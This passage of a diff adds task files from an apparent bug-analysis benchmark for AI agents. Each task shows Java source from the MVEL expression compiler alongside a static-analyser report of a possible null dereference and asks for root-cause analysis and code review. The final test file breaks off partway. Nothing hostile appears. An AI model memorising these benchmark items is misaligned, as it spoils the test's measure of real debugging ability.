+    }
+
+    /**
+     * Analyze the statement and return the known egress type.
+     *
+     * @return known engress type
+     */
+    public Class analyze() {
+        resolvedExternally = true;
+        if (ctx == null) {
+            ctx = Object.class;
+            first = true;
+        }
+
+        while (cursor < length) {
+            switch (nextSubToken()) {
+                case NORM:
+                    ctx = getBeanProperty(ctx, capture());
+                    break;
+                case METH:
+                    ctx = getMethod(ctx, capture());
+                    break;
+                case COL:
+                    ctx = getCollectionProperty(ctx, capture());
+                    break;
+                case WITH:
+                    ctx = getWithProperty(ctx);
+                    break;
+
+                case DONE:
+                    break;
+            }
+
+            first = false;
+        }
+        return ctx;
+    }
+
+    /**
+     * Process bean property
+     *
+     * @param ctx      - the ingress type
+     * @param property - the property component
+     * @return known egress type.
+     */
+    private Class getBeanProperty(Class ctx, String property) {
+        if (first) {
+            if (pCtx.hasVarOrInput(property)) {
+                if (pCtx.isStrictTypeEnforcement()) {
+                    paramTypes = pCtx.getTypeParameters(property);
+                    pCtx.setLastTypeParameters(pCtx.getTypeParametersAsArray(property));
+                }
+                return pCtx.getVarOrInputType(property);
+            }
+            else if (pCtx.hasImport(property)) {
+                resolvedExternally = false;
+                return pCtx.getImport(property);
+            }
+            if (!pCtx.isStrongTyping()) {
+                return Object.class;
+            }
+        }
+
+        start = cursor;
+
+        Member member = ctx != null ? getFieldOrAccessor(ctx, property) : null;
+
+        if (member instanceof Field) {
+            if (pCtx.isStrictTypeEnforcement()) {
+                Field f = ((Field) member);
+
+                if (f.getGenericType() != null && f.getGenericType() instanceof ParameterizedType) {
+                    ParameterizedType pt = (ParameterizedType) f.getGenericType();
+                    pCtx.setLastTypeParameters(pt.getActualTypeArguments());
+
+                    Type[] gpt = pt.getActualTypeArguments();
+                    Type[] classArgs = ((Class) pt.getRawType()).getTypeParameters();
+
+                    if (gpt.length > 0 && paramTypes == null) paramTypes = new HashMap<String, Class>();
+                    for (int i = 0; i < gpt.length; i++) {
+                        paramTypes.put(classArgs[i].toString(), (Class) gpt[i]);
+                    }
+
+                }
+
+                return f.getType();
+            }
+            else {
+                return ((Field) member).getType();
+            }
+        }
+        else if (member != null) {
+            Method method = (Method) member;
+
+            if (pCtx.isStrictTypeEnforcement()) {
+                //if not a field, then this is a property getter
+                Type parametricReturnType = method.getGenericReturnType();
+
+                //push return type parameters onto parser context, only if this is a parametric type
+                if (parametricReturnType instanceof ParameterizedType) {
+                    pCtx.setLastTypeParameters(((ParameterizedType) parametricReturnType).getActualTypeArguments());
+                }
+
+            }
+            return method.getReturnType();
+        }
+        else if (pCtx != null && pCtx.hasImport(property)) {
+            return pCtx.getImport(property);
+        }
+        else {
+            Object tryStaticMethodRef = tryStaticAccess();
+
+            if (tryStaticMethodRef != null) {
+                if (tryStaticMethodRef instanceof Class) {
+                    return (Class) tryStaticMethodRef;
+                }
+                else if (tryStaticMethodRef instanceof Field) {
+                    try {
+                        return ((Field) tryStaticMethodRef).get(null).getClass();
+                    }
+                    catch (Exception e) {
+                        throw new CompileException("in verifier: ", e);
+                    }
+                }
+                else {
+                    try {
+                        return ((Method) tryStaticMethodRef).getReturnType();
+                    }
+                    catch (Exception e) {
+                        throw new CompileException("in verifier: ", e);
+                    }
+                }
+
+            }
+            else if (ctx != null && ctx.getClass() == Class.class) {
+                for (Method m : ctx.getMethods()) {
+                    if (property.equals(m.getName())) {
+                        return m.getReturnType();
+                    }
+                }
+            }
+
+            if (pCtx.isStrictTypeEnforcement()) {
+                addFatalError("unqualified type in strict mode for: " + property);
+            }
+            return Object.class;
+        }
+    }
+
+    /**
+     * Process collection property
+     *
+     * @param ctx      - the ingress type
+     * @param property - the property component
+     * @return known egress type
+     */
+    private Class getCollectionProperty(Class ctx, String property) {
+        if (first) {
+            if (pCtx.hasVarOrInput(property)) {
+                ctx = getSubComponentType(pCtx.getVarOrInputType(property));
+            }
+            else if (pCtx.hasImport(property)) {
+                resolvedExternally = false;
+                ctx = getSubComponentType(pCtx.getImport(property));
+            }
+            else {
+                ctx = Object.class;
+            }
+        }
+        else if (pCtx.isStrongTyping()) {
+            if (Map.class.isAssignableFrom(ctx = getBeanProperty(ctx, property))) {
+                ctx = (Class) pCtx.getLastTypeParameters()[1];
+            }
+            else if (Collection.class.isAssignableFrom(ctx)) {
+                ctx = (Class) pCtx.getLastTypeParameters()[0];
+            }
+            else if (ctx.isArray()) {
+                ctx = getBaseComponentType(ctx);
+            }
+            else {
+                throw new CompileException("unknown collection type");
+            }
+        }
+
+        ++cursor;
+
+        whiteSpaceSkip();
+
+        if (cursor == length)
+            throw new PropertyAccessException("unterminated '['");
+
+        if (scanTo(']')) {
+            addFatalError("unterminated [ in token");
+        }
+
+        ++cursor;
+
+        return ctx;
+    }
+
+
+    /**
+     * Process method
+     *
+     * @param ctx  - the ingress type
+     * @param name - the property component
+     * @return known egress type.
+     */
+    private Class getMethod(Class ctx, String name) {
+        int st = cursor;
+
+        /**
+         * Check to see if this is the first element in the statement.
+         */
+        if (first) {
+            first = false;
+
+            /**
+             * It's the first element in the statement, therefore we check to see if there is a static import of a
+             * native Java method or an MVEL function.
+             */
+            if (pCtx.hasImport(name)) {
+                Method m = pCtx.getStaticImport(name).getMethod();
+
+                /**
+                 * Replace the method parameters.
+                 */
+                ctx = m.getDeclaringClass();
+                name = m.getName();
+            }
+            else if (pCtx.hasFunction(name)) {
+                resolvedExternally = false;
+                String tk = ((cursor = balancedCapture(expr, cursor, '(')) - st) > 1 ? new String(expr, st + 1, cursor - st - 1) : "";
+                Function f = pCtx.getFunction(name);
+                f.checkArgumentCount(parseParameterList(tk.toCharArray(), 0, -1).length);
+                return f.getEgressType();
+            }
+        }
+
+        /**
+         * Get the arguments for the method.
+         */
+        String tk = ((cursor = balancedCapture(expr, cursor, '(')) - st) > 1 ? new String(expr, st + 1, cursor - st - 1) : "";
+
+        cursor++;
+
+        /**
+         * Parse out the arguments list.
+         */
+        Class[] args;
+        String[] subtokens = parseParameterList(tk.toCharArray(), 0, -1);
+
+        if (subtokens.length == 0) {
+            args = new Class[0];
+            subtokens = new String[0];
+        }
+        else {
+            args = new Class[subtokens.length];
+
+            /**
+             *  Subcompile all the arguments to determine their known types.
+             */
+            ExpressionCompiler compiler;
+            for (int i = 0; i < subtokens.length; i++) {
+                (compiler = new ExpressionCompiler(subtokens[i], true))._compile();
+                args[i] = compiler.getReturnType() != null ? compiler.getReturnType() : Object.class;
+            }
+        }
+
+        /**
+         * If the target object is an instance of java.lang.Class itself then do not
+         * adjust the Class scope target.
+         */
+
+        Method m;
+
+        /**
+         * If we have not cached the method then we need to go ahead and try to resolve it.
+         */
+
+        if ((m = getBestCandidate(args, name, ctx, ctx.getMethods(), pCtx.isStrongTyping())) == null) {
+            if ((m = getBestCandidate(args, name, ctx, ctx.getDeclaredMethods(), pCtx.isStrongTyping())) == null) {
+                StringAppender errorBuild = new StringAppender();
+                for (int i = 0; i < args.length; i++) {
+                    errorBuild.append(args[i] != null ? args[i].getClass().getName() : null);
+                    if (i < args.length - 1) errorBuild.append(", ");
+                }
+
+                if ("size".equals(name) && args.length == 0 && ctx.isArray()) {
+                    return Integer.class;
+                }
+
+                if (pCtx.isStrictTypeEnforcement()) {
+                    addFatalError("unable to resolve method using strict-mode: " + ctx.getName() + "." + name + "(...)");
+                }
+                return Object.class;
+            }
+        }
+
+        /**
+         * If we're in strict mode, we look for generic type information.
+         */
+        if (pCtx.isStrictTypeEnforcement() && m.getGenericReturnType() != null) {
+            Map<String, Class> typeArgs = new LinkedHashMap<String, Class>();
+
+            Type[] gpt = m.getGenericParameterTypes();
+            Class z;
+            ParameterizedType pt;
+
+            for (int i = 0; i < gpt.length; i++) {
+                if (gpt[i] instanceof ParameterizedType) {
+                    pt = (ParameterizedType) gpt[i];
+                    if ((z = pCtx.getImport(subtokens[i])) != null) {
+                        /**
+                         * We record the value of the type parameter to our typeArgs Map.
+                         */
+                        if (pt.getRawType().equals(Class.class)) {
+                            /**
+                             * If this is an instance of Class, we deal with the special parameterization case.
+                             */
+                            typeArgs.put(pt.getActualTypeArguments()[0].toString(), z);
+                        }
+                        else {
+                            typeArgs.put(gpt[i].toString(), z);
+                        }
+                    }
+                }
+            }
+
+            /**
+             * Get the return type argument
+             */
+            Type parametricReturnType = m.getGenericReturnType();
+            String returnTypeArg = parametricReturnType.toString();
+
+            //push return type parameters onto parser context, only if this is a parametric type
+            if (parametricReturnType instanceof ParameterizedType) {
+                pCtx.setLastTypeParameters(((ParameterizedType) parametricReturnType).getActualTypeArguments());
+            }
+
+            if (paramTypes != null && paramTypes.containsKey(returnTypeArg)) {
+                /**
+                 * If the paramTypes Map contains the known type, return that type.
+                 */
+                return paramTypes.get(returnTypeArg);
+            }
+            else if (typeArgs.containsKey(returnTypeArg)) {
+                /**
+                 * If the generic type was declared as part of the method, it will be in this
+                 * Map.
+                 */
+                return typeArgs.get(returnTypeArg);
+            }
+        }
+
+        return m.getReturnType();
+    }
+
+    private Class getWithProperty(Class ctx) {
+        String root = new String(expr, 0, cursor - 1).trim();
+
+        int start = cursor + 1;
+        int[] res = balancedCaptureWithLineAccounting(expr, cursor, '{');
+        cursor = res[0];
+        getParserContext().incrementLineCount(res[1]);
+
+        new WithAccessor(root, subset(expr, start, cursor++ - start), ctx, pCtx.isStrictTypeEnforcement());
+
+        return ctx;
+    }
+
+    public boolean isResolvedExternally() {
+        return resolvedExternally;
+    }
+
+    public Class getCtx() {
+        return ctx;
+    }
+
+    public void setCtx(Class ctx) {
+        this.ctx = ctx;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getParserContext()` could be null and is dereferenced at line 442.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Class PropertyVerifier.getWithProperty(Class)
+
+### Procedure Id:
+org.mvel2.compiler.PropertyVerifier.getWithProperty(java.lang.Class):java.lang.Class.64c6d5a9b9672097ffce1c9012865379
+
+### File:
+src/main/java/org/mvel2/compiler/PropertyVerifier.java
+
+### Key:
+PropertyVerifier.java|getWithProperty|NULL_DEREFERENCE
+
+### Node Key:
+e55096c0653b2bf53540ebef9c1fcba4
+
+### Hash:
+a228e500bf29259f2b1643d95a30063b
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4758/instruction.md b/inferredbugs-4758/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..325fcff2f730e93bb230e829d1a328490eda9d4b
--- /dev/null
+++ b/inferredbugs-4758/instruction.md
@@ -0,0 +1,507 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mvel
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.mvel;
+
+import static org.mvel.DataConversion.canConvert;
+import org.mvel.ast.LiteralNode;
+import org.mvel.ast.Substatement;
+import org.mvel.ast.TypedVarNode;
+import org.mvel.ast.AssignmentNode;
+import org.mvel.util.ExecutionStack;
+import static org.mvel.util.ParseTools.containsCheck;
+import static org.mvel.util.ParseTools.doOperations;
+import org.mvel.util.PropertyTools;
+import org.mvel.util.Stack;
+import org.mvel.util.StringAppender;
+
+import static java.lang.Class.forName;
+import java.util.*;
+import java.util.regex.Pattern;
+
+public class ExpressionCompiler extends AbstractParser {
+    private final Stack stk = new ExecutionStack();
+
+    private Set<String> inputs;
+    private Set<String> locals;
+
+    private Class returnType;
+
+    private boolean compileFail = false;
+
+    private boolean verifying = true;
+
+
+    public void setImportedClasses(Map<String, Class> imports) {
+        getParserContext().setImports(imports);
+    }
+
+    public void setInputs(Map<String, Class> inputs) {
+        getParserContext().setInputTable(inputs);
+    }
+
+
+    public boolean isStrictTyping() {
+        return getParserContext().isStrictTypeEnforcement();
+    }
+
+    public void setStrictTyping(boolean strictTyping) {
+        getParserContext().setStrictTypeEnforcement(strictTyping);
+    }
+
+    public CompiledExpression compile() {
+        ASTNode tk;
+        ASTNode tkOp;
+        ASTNode tkOp2;
+        ASTNode tkLA;
+        ASTNode tkLA2;
+        ASTLinkedList astLinkedList = new ASTLinkedList();
+
+        boolean firstLA;
+
+        ParserContext pCtx = getParserContext();
+
+        if (verifying) {
+            inputs = new LinkedHashSet<String>();
+            locals = new LinkedHashSet<String>();
+
+            getParserContext().setVariableTable(new HashMap<String, Class>());
+        }
+
+        fields |= ASTNode.COMPILE_IMMEDIATE;
+
+        while ((tk = nextToken()) != null) {
+            if (tk.fields == -1) {
+                astLinkedList.addTokenNode(tk);
+                continue;
+            }
+
+            returnType = tk.getEgressType();
+
+            if (tk instanceof TypedVarNode) {
+                TypedVarNode tv = (TypedVarNode) tk;
+                pCtx.getVariableTable().put(tv.getName(), tv.getEgressType());
+            }
+            else if (pCtx.isStrictTypeEnforcement() && tk instanceof AssignmentNode
+                    && (pCtx.getInputTable() == null
+                    || !pCtx.getInputTable().containsKey(tk.getName()))) {
+
+                pCtx.addError(new ErrorDetail("untyped var not permitted in strict-mode: " + tk.getName(), true));
+
+            }
+
+            if (tk instanceof Substatement) {
+                ExpressionCompiler subCompiler = new ExpressionCompiler(tk.getNameAsArray());
+                tk.setAccessor(subCompiler.compile());
+
+
+                if (verifying)
+                    inputs.addAll(subCompiler.getInputs());
+            }
+
+            /**
+             * This kludge of code is to handle compile-time literal reduction.  We need to avoid
+             * reducing for certain literals like, 'this', ternary and ternary else.
+             */
+            if (tk.isLiteral() && tk.getLiteralValue() != LITERALS.get("this")) {
+
+
+                if ((tkOp = nextToken()) != null && tkOp.isOperator()
+                        && !tkOp.isOperator(Operator.TERNARY) && !tkOp.isOperator(Operator.TERNARY_ELSE)) {
+
+                    /**
+                     * If the next token is ALSO a literal, then we have a candidate for a compile-time
+                     * reduction.
+                     */
+                    if ((tkLA = nextToken()) != null && tkLA.isLiteral()) {
+                        stk.push(tk.getLiteralValue(), tkLA.getLiteralValue(), tkOp.getLiteralValue());
+
+                        /**
+                         * Reduce the token now.
+                         */
+                        reduceTrinary();
+
+                        firstLA = true;
+
+                        /**
+                         * Now we need to check to see if this is actually a continuing reduction.
+                         */
+                        while ((tkOp2 = nextToken()) != null) {
+                            if (!tkOp2.isOperator(tkOp.getOperator())) {
+                                /**
+                                 * We can't continue any further because we are dealing with
+                                 * different operators.
+                                 */
+                                astLinkedList.addTokenNode(new LiteralNode(stk.pop()));
+                                astLinkedList.addTokenNode(tkOp2);
+                                break;
+                            }
+                            else if ((tkLA2 = nextToken()) != null
+                                    && tkLA2.isLiteral()) {
+
+                                stk.push(tkLA2.getLiteralValue(), tkOp2.getLiteralValue());
+                                reduceTrinary();
+                                firstLA = false;
+                            }
+                            else {
+                                if (firstLA) {
+                                    /**
+                                     * There are more tokens, but we can't reduce anymore.  So
+                                     * we create a reduced token for what we've got.
+                                     */
+                                    astLinkedList.addTokenNode(new ASTNode(ASTNode.LITERAL, stk.pop()));
+                                }
+                                else {
+                                    /**
+                                     * We have reduced additional tokens, but we can't reduce
+                                     * anymore.
+                                     */
+                                    astLinkedList.addTokenNode(new ASTNode(ASTNode.LITERAL, stk.pop()), tkOp);
+
+                                    if (tkLA2 != null) astLinkedList.addTokenNode(tkLA2);
+                                }
+                                break;
+                            }
+                        }
+
+                        /**
+                         * If there are no more tokens left to parse, we check to see if
+                         * we've been doing any reducing, and if so we create the token
+                         * now.
+                         */
+                        if (!stk.isEmpty())
+                            astLinkedList.addTokenNode(new ASTNode(ASTNode.LITERAL, stk.pop()));
+
+                        continue;
+                    }
+                    else {
+                        astLinkedList.addTokenNode(verify(tk), verify(tkOp));
+                        if (tkLA != null) astLinkedList.addTokenNode(verify(tkLA));
+                        continue;
+                    }
+                }
+                else {
+                    astLinkedList.addTokenNode(verify(tk));
+                    if (tkOp != null) astLinkedList.addTokenNode(verify(tkOp));
+
+                    continue;
+                }
+            }
+
+            astLinkedList.addTokenNode(verify(tk));
+        }
+
+        if (verifying) {
+            for (String s : locals) {
+                inputs.remove(s);
+            }
+        }
+
+        if (compileFail) {
+            throw new CompileException("Failed to compile: " + getParserContext().getErrorList().size() + " compilation error(s)", getParserContext().getErrorList());
+        }
+
+        if (pCtx.getRootParser() == this) {
+            parserContext.set(null);
+        }
+
+        return new CompiledExpression(new ASTArrayList(astLinkedList), getCurrentSourceFileName());
+    }
+
+    protected ASTNode verify(ASTNode tk) {
+        if (verifying) {
+            if (tk.isDiscard() || (tk.fields & (ASTNode.OPERATOR | ASTNode.LITERAL)) != 0) return tk;
+            if (tk.isAssignment()) {
+                char[] assign = tk.getNameAsArray();
+                int c = 0;
+                while (c < assign.length && assign[c] != '=') c++;
+
+                String varName = new String(assign, 0, c++).trim();
+
+                if (isReservedWord(varName)) {
+                    throw new CompileException("invalid assignment - variable name is a reserved keyword: " + varName);
+                }
+
+                locals.add(varName);
+
+                ExpressionCompiler subCompiler =
+                        new ExpressionCompiler(new String(assign, c, assign.length - c).trim());
+
+                subCompiler.compile();
+
+                inputs.addAll(subCompiler.getInputs());
+
+            }
+            else if (tk.isIdentifier()) {
+                inputs.add(tk.getAbsoluteName());
+
+                PropertyVerifier propVerifier = new PropertyVerifier(tk.getNameAsArray(), getParserContext());
+                returnType = propVerifier.analyze();
+
+                inputs.addAll(propVerifier.getInputs());
+            }
+        }
+
+        return tk;
+    }
+
+
+    /**
+     * This method is called when we reach the point where we must subEval a trinary operation in the expression.
+     * (ie. val1 op val2).  This is not the same as a binary operation, although binary operations would appear
+     * to have 3 structures as well.  A binary structure (or also a junction in the expression) compares the
+     * current state against 2 downrange structures (usually an op and a val).
+     */
+    private void reduceTrinary() {
+        Object v1 = null, v2 = null;
+        Integer operator;
+        try {
+            while (stk.size() > 1) {
+                operator = (Integer) stk.pop();
+                v1 = stk.pop();
+                v2 = stk.pop();
+
+                switch (operator) {
+                    case Operator.ADD:
+                    case Operator.SUB:
+                    case Operator.DIV:
+                    case Operator.MULT:
+                    case Operator.MOD:
+                    case Operator.EQUAL:
+                    case Operator.NEQUAL:
+                    case Operator.GTHAN:
+                    case Operator.LTHAN:
+                    case Operator.GETHAN:
+                    case Operator.LETHAN:
+                    case Operator.POWER:
+                        stk.push(doOperations(v2, operator, v1));
+                        break;
+
+                    case Operator.AND:
+                        stk.push(((Boolean) v2) && ((Boolean) v1));
+                        break;
+
+                    case Operator.OR:
+                        stk.push(((Boolean) v2) || ((Boolean) v1));
+                        break;
+
+                    case Operator.CHOR:
+                        if (!PropertyTools.isEmpty(v2) || !PropertyTools.isEmpty(v1)) {
+                            stk.clear();
+                            stk.push(!PropertyTools.isEmpty(v2) ? v2 : v1);
+                            return;
+                        }
+                        else stk.push(null);
+                        break;
+
+                    case Operator.REGEX:
+                        stk.push(Pattern.compile(String.valueOf(v1)).matcher(String.valueOf(v2)).matches());
+                        break;
+
+                    case Operator.INSTANCEOF:
+                        if (v1 instanceof Class)
+                            stk.push(((Class) v1).isInstance(v2));
+                        else
+                            stk.push(forName(String.valueOf(v1)).isInstance(v2));
+
+                        break;
+
+                    case Operator.CONVERTABLE_TO:
+                        if (v1 instanceof Class)
+                            stk.push(canConvert(v2.getClass(), (Class) v1));
+                        else
+                            stk.push(canConvert(v2.getClass(), forName(String.valueOf(v1))));
+                        break;
+
+                    case Operator.CONTAINS:
+                        stk.push(containsCheck(v2, v1));
+                        break;
+
+                    case Operator.BW_AND:
+                        stk.push(asInt(v2) & asInt(v1));
+                        break;
+
+                    case Operator.BW_OR:
+                        stk.push(asInt(v2) | asInt(v1));
+                        break;
+
+                    case Operator.BW_XOR:
+                        stk.push(asInt(v2) ^ asInt(v1));
+                        break;
+
+                    case Operator.BW_SHIFT_LEFT:
+                        stk.push(asInt(v2) << asInt(v1));
+                        break;
+
+                    case Operator.BW_USHIFT_LEFT:
+                        int iv2 = asInt(v2);
+                        if (iv2 < 0) iv2 *= -1;
+                        stk.push(iv2 << asInt(v1));
+                        break;
+
+                    case Operator.BW_SHIFT_RIGHT:
+                        stk.push(asInt(v2) >> asInt(v1));
+                        break;
+
+                    case Operator.BW_USHIFT_RIGHT:
+                        stk.push(asInt(v2) >>> asInt(v1));
+                        break;
+
+                    case Operator.STR_APPEND:
+                        stk.push(new StringAppender(String.valueOf(v2)).append(String.valueOf(v1)).toString());
+                        break;
+
+                    case Operator.SOUNDEX:
+                        stk.push(Soundex.soundex(String.valueOf(v1)).equals(Soundex.soundex(String.valueOf(v2))));
+                        break;
+
+                    case Operator.SIMILARITY:
+                        stk.push(PropertyTools.similarity(String.valueOf(v1), String.valueOf(v2)));
+                        break;
+
+                }
+            }
+        }
+        catch (ClassCastException e) {
+            if ((fields & ASTNode.LOOKAHEAD) == 0) {
+                /**
+                 * This will allow for some developers who like messy expressions to compileAccessor
+                 * away with some messy constructs like: a + b < c && e + f > g + q instead
+                 * of using brackets like (a + b < c) && (e + f > g + q)
+                 */
+
+                fields |= ASTNode.LOOKAHEAD;
+
+                ASTNode tk = nextToken();
+                if (tk != null) {
+                    stk.push(v1, nextToken(), tk.getOperator());
+
+                    reduceTrinary();
+                    return;
+                }
+            }
+            throw new CompileException("syntax error or incomptable types (left=" +
+                    (v1 != null ? v1.getClass().getName() : "null") + ", right=" +
+                    (v2 != null ? v2.getClass().getName() : "null") + ")", expr, cursor, e);
+
+        }
+        catch (Exception e) {
+            throw new CompileException("failed to subEval expression: <<" + new String(expr) + ">>", e);
+        }
+
+    }
+
+    private static int asInt(final Object o) {
+        return (Integer) o;
+    }
+
+
+    public Set<String> getInputs() {
+        return inputs;
+    }
+
+    public Set<String> getLocals() {
+        return locals;
+    }
+
+    public ExpressionCompiler(String expression) {
+        setExpression(expression);
+    }
+
+    public ExpressionCompiler(char[] expression) {
+        setExpression(expression);
+    }
+
+    public boolean isVerifying() {
+        return verifying;
+    }
+
+    public void setVerifying(boolean verifying) {
+        this.verifying = verifying;
+    }
+
+
+    public Class getReturnType() {
+        return returnType;
+    }
+
+    public void setReturnType(Class returnType) {
+        this.returnType = returnType;
+    }
+
+    public String getExpression() {
+        return new String(expr);
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `getParserContext()` could be null and is dereferenced at line 198.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+CompiledExpression ExpressionCompiler.compile()
+
+### Procedure Id:
+org.mvel.ExpressionCompiler.compile():org.mvel.CompiledExpression.5ce6c0cd997462835ad49eaf40574808
+
+### File:
+src/main/java/org/mvel/ExpressionCompiler.java
+
+### Key:
+ExpressionCompiler.java|compile|NULL_DEREFERENCE
+
+### Node Key:
+42f56fda1ad408e362508b93a175bb0c
+
+### Hash:
+29cc04eb88d2e659d11eaa4012dda56f
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4759/instruction.md b/inferredbugs-4759/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..429db7fa7c8b2bf8aeeefb5549c1322cb6d29733
--- /dev/null
+++ b/inferredbugs-4759/instruction.md
@@ -0,0 +1,1239 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mvel
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.mvel.tests.main;
+
+import static org.mvel.MVEL.parseMacros;
+import junit.framework.TestCase;
+import org.mvel.*;
+import org.mvel.optimizers.OptimizerFactory;
+
+import static org.mvel.MVEL.*;
+import org.mvel.debug.DebugTools;
+import org.mvel.debug.Debugger;
+import org.mvel.debug.Frame;
+import org.mvel.integration.Interceptor;
+import org.mvel.integration.ResolverTools;
+import org.mvel.integration.VariableResolverFactory;
+import org.mvel.integration.impl.ClassImportResolverFactory;
+import org.mvel.integration.impl.MapVariableResolverFactory;
+import org.mvel.tests.main.res.*;
+
+import java.io.Serializable;
+import java.util.*;
+
+public class CoreConfidenceTests extends TestCase {
+    protected Foo foo = new Foo();
+    protected Map<String, Object> map = new HashMap<String, Object>();
+    protected Base base = new Base();
+    protected DerivedClass derived = new DerivedClass();
+
+    public CoreConfidenceTests() {
+        foo.setBar(new Bar());
+        map.put("foo", foo);
+        map.put("a", null);
+        map.put("b", null);
+        map.put("c", "cat");
+        map.put("BWAH", "");
+
+        map.put("misc", new MiscTestClass());
+
+        map.put("pi", "3.14");
+        map.put("hour", "60");
+        map.put("zero", 0);
+
+        map.put("testImpl",
+                new TestInterface() {
+
+                    public String getName() {
+                        return "FOOBAR!";
+                    }
+
+
+                    public boolean isFoo() {
+                        return true;
+                    }
+                });
+
+        map.put("derived", derived);
+
+
+    }
+
+    public void testSingleProperty() {
+        assertEquals(false, parseDirect("fun"));
+    }
+
+
+    public void testMethodOnValue() {
+        assertEquals("DOG", parseDirect("foo.bar.name.toUpperCase()"));
+    }
+
+    public void testSimpleProperty() {
+        assertEquals("dog", parseDirect("foo.bar.name"));
+    }
+
+    public void testSimpleProperty2() {
+        assertEquals("cat", parseDirect("DATA"));
+    }
+
+    public void testPropertyViaDerivedClass() {
+        assertEquals("cat", parseDirect("derived.data"));
+    }
+
+    public void testDeepAssignment() {
+        assertEquals("crap", parseDirect("foo.bar.assignTest = 'crap'"));
+        assertEquals("crap", parseDirect("foo.bar.assignTest"));
+    }
+
+    public void testThroughInterface() {
+        assertEquals("FOOBAR!", parseDirect("testImpl.name"));
+    }
+
+    public void testThroughInterface2() {
+        assertEquals(true, parseDirect("testImpl.foo"));
+    }
+
+    public void testMapAccessWithMethodCall() {
+        assertEquals("happyBar", parseDirect("funMap['foo'].happy()"));
+    }
+
+    public void testBooleanOperator() {
+        assertEquals(true, parseDirect("foo.bar.woof == true"));
+    }
+
+    public void testBooleanOperator2() {
+        assertEquals(false, parseDirect("foo.bar.woof == false"));
+    }
+
+    public void testTextComparison() {
+        assertEquals(true, parseDirect("foo.bar.name == 'dog'"));
+    }
+
+    public void testNETextComparison() {
+        assertEquals(true, parseDirect("foo.bar.name != 'foo'"));
+    }
+
+    public void testChor() {
+        assertEquals("cat", parseDirect("a or b or c"));
+    }
+
+    public void testChorWithLiteral() {
+        assertEquals("fubar", parseDirect("a or 'fubar'"));
+    }
+
+    public void testNullCompare() {
+        assertEquals(true, parseDirect("c != null"));
+    }
+
+    public void testUninitializedInt() {
+        assertEquals(0, parseDirect("sarahl"));
+    }
+
+    public void testAnd() {
+        assertEquals(true, parseDirect("c != null && foo.bar.name == 'dog' && foo.bar.woof"));
+    }
+
+    public void testMath() {
+        assertEquals(188.4f, parseDirect("pi * hour"));
+    }
+
+    public void testMath2() {
+        assertEquals(3, parseDirect("foo.number-1"));
+    }
+
+    public void testComplexExpression() {
+        assertEquals("bar", parseDirect("a = 'foo'; b = 'bar'; c = 'jim'; list = {a,b,c}; list[1]"));
+    }
+
+    public void testComplexAnd() {
+        assertEquals(true, parseDirect("(pi * hour) > 0 && foo.happy() == 'happyBar'"));
+    }
+
+    public void testShortPathExpression() {
+        assertEquals(null, parseDirect("3 > 4 && foo.toUC('test'); foo.register"));
+    }
+
+    public void testShortPathExpression2() {
+        assertEquals(true, parseDirect("4 > 3 || foo.toUC('test')"));
+    }
+
+    public void testOrOperator() {
+        assertEquals(true, parseDirect("true || true"));
+    }
+
+    public void testOrOperator2() {
+        assertEquals(true, parseDirect("2 > 3 || 3 > 2"));
+    }
+
+    public void testOrOperator3() {
+        assertEquals(true, parseDirect("pi > 5 || pi > 6 || pi > 3"));
+    }
+
+
+    public void testShortPathExpression3() {
+        assertEquals(false, parseDirect("defnull != null  && defnull.length() > 0"));
+    }
+
+    public void testModulus() {
+        assertEquals(38392 % 2,
+                parseDirect("38392 % 2"));
+    }
+
+
+    public void testLessThan() {
+        assertEquals(true, parseDirect("pi < 3.15"));
+        assertEquals(true, parseDirect("pi <= 3.14"));
+        assertEquals(false, parseDirect("pi > 3.14"));
+        assertEquals(true, parseDirect("pi >= 3.14"));
+    }
+
+    public void testMethodAccess() {
+        assertEquals("happyBar", parseDirect("foo.happy()"));
+    }
+
+    public void testMethodAccess2() {
+        assertEquals("FUBAR", parseDirect("foo.toUC('fubar')"));
+    }
+
+    public void testMethodAccess3() {
+        assertEquals(true, parseDirect("equalityCheck(c, 'cat')"));
+    }
+
+    public void testMethodAccess4() {
+        assertEquals(null, parseDirect("readBack(null)"));
+    }
+
+    public void testMethodAccess5() {
+        assertEquals("nulltest", parseDirect("appendTwoStrings(null, 'test')"));
+    }
+
+    public void testNegation() {
+        assertEquals(true, parseDirect("!fun && !fun"));
+    }
+
